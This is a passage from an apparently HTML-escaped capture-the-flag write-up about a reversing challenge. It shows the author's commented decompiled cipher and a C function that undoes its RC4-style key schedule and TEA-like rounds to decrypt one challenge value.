style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 3. this too since we just calculated v181\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev180\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev183\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// 4. to get this we need v180\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x478\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// 1. we start here, where we have first and second and the last value of v168\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003enow our task is to reverse this function, i have written my line of thought for reversing it\u0026rsquo;s operations as comments in the code above, follow steps 1 to 10.\u003c/p\u003e\n\u003cp\u003ehere is the final decryption script:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003euint64_t\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003edec\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e256\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint64_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// Initialize S-box\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e// RC4-style key scheduling\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e    \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e255\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev184\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev184\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e])\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003etmp\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev170\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003etmp\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e++\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#111\"\u003ev171\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xa2c473fc\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// this is the last value of v168\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003edo\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev181\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e11\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev183\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev181\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev179\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev180\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev179\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev180\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev183\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x9D175C01\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// we are going backwards now\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev172\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// this we have, just decrement v168 \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev172\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev168\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// this too we have\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e                                          \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#00a8c8\"\u003euint32_t\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e))\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e// use the decrypted second value to get this value\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e                                          \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev175\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev176\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e// xor this to get the decrypted  first value\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e\u003c/span\u003e        \u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev185\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x478\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eprintf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;first = 0x%x , second = 0x%x\u003c/span\u003e\u003cspan style=\"color:#8045ff\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003efirst\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003eoutput\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esecond\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eusing it on the cipher 0xF06203EC3D2C5B74 for the level1 with the key extracted using gdb we get\u003c/p\u003e\n\u003cp\u003e\u003cimg\n  src=\"/r3ctf-r3loads/Screenshot_from_2025-07-07_20-13-17.png\"\n  alt=\"Screenshot from 2025-07-07 20-13-17.png\"\n  loading=\"lazy\"\n  decoding=\"async\"\n  class=\"full-width\"\n/\u003e\n\n\u003c/p\u003e\n\u003cp\u003eit worked!!\u003c/p\u003e\n\u003ch2 id=\"the-auto-part\"\u003ethe “auto” part:\u003c/h2\u003e\n\u003cp\u003eto start scripting decryption for the 11423 